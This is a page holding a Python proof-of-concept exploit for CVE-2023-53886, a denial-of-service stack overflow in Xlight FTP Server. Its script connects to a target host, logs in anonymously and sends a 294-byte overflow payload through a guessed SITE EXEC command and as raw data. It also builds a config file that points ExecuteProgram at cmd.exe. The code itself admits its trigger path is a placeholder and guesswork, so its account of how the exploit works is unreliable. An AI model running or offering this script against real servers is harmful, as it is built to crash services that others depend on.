CVE-2023-53886 Xlight FTP Server栈缓冲区溢出漏洞导致拒绝服务

#!/usr/bin/env python3 # CVE-2023-53886 PoC - Xlight FTP Server Stack Buffer Overflow # This PoC demonstrates the DoS vulnerability in the Execute Program configuration # Reference: https://www.exploit-db.com/exploits/51665 import socket import sys def exploit_cve_2023_53886(target_ip, target_port=21): """ Exploit for CVE-2023-53886 - Xlight FTP Server Stack Buffer Overflow The vulnerability exists in the 'Execute Program' configuration feature. Sending a payload of approximately 294 characters causes a stack buffer overflow, leading to application crash (DoS). Args: target_ip: Target Xlight FTP Server IP address target_port: FTP control port (default: 21) Returns: bool: True if exploit sent successfully, False otherwise """ try: # Create socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f"[*] Connected to {target_ip}:{target_port}") # Receive FTP banner banner = sock.recv(1024) print(f"[*] Banner: {banner.decode().strip()}") # The vulnerable payload - 294 'A' characters # This overflows the stack buffer in Execute Program configuration payload = "A" * 294 # Method 1: Login and trigger via SITE command (if supported) # Most FTP servers require authentication for SITE commands # Login sock.send(b"USER anonymous\r\n") response = sock.recv(1024) print(f"[*] USER response: {response.decode().strip()}") sock.send(b"PASS [email protected]\r\n") response = sock.recv(1024) print(f"[*] PASS response: {response.decode().strip()}") # Try to trigger the vulnerability via raw configuration # Note: Actual exploitation may require specific FTP commands or # direct manipulation of the configuration file print(f"[*] Sending overflow payload ({len(payload)} bytes)...") # This is a placeholder - actual exploitation requires # identifying the specific command that triggers Execute Program # Common approaches: # 1. SITE EXEC command (if supported) # 2. Direct config file modification # 3. Admin interface exploitation # Example: If SITE EXEC is supported try: site_exec_cmd = f"SITE EXEC {payload}\r\n" sock.send(site_exec_cmd.encode()) print(f"[*] Sent: SITE EXEC command with payload") except: pass # Alternative: Send raw data that might trigger the overflow sock.send(payload.encode()) print(f"[*] Payload sent") sock.close() print("[*] Exploit sent. Target should crash if vulnerable.") return True except socket.error as e: print(f"[!] Socket error: {e}") return False except Exception as e: print(f"[!] Error: {e}") return False def create_config_exploit(): """ Alternative method: Generate malicious config file content that can be used to trigger the vulnerability """ payload = "A" * 294 # Xlight FTP Server config file exploit template config_content = f"""<?xml version="1.0"?> <Configuration> <ExecuteProgram> <Enabled>true</Enabled> <ProgramPath>C:\\Windows\\System32\\cmd.exe</ProgramPath> <Arguments>/c {payload}</Arguments> </ExecuteProgram> </Configuration>""" return config_content if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2023_53886.py <target_ip> [port]") print("Example: python cve_2023_53886.py 192.168.1.100 21") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 21 print("=" * 60) print("CVE-2023-53886 - Xlight FTP Server Stack Buffer Overflow") print("=" * 60) exploit_cve_2023_53886(target, port)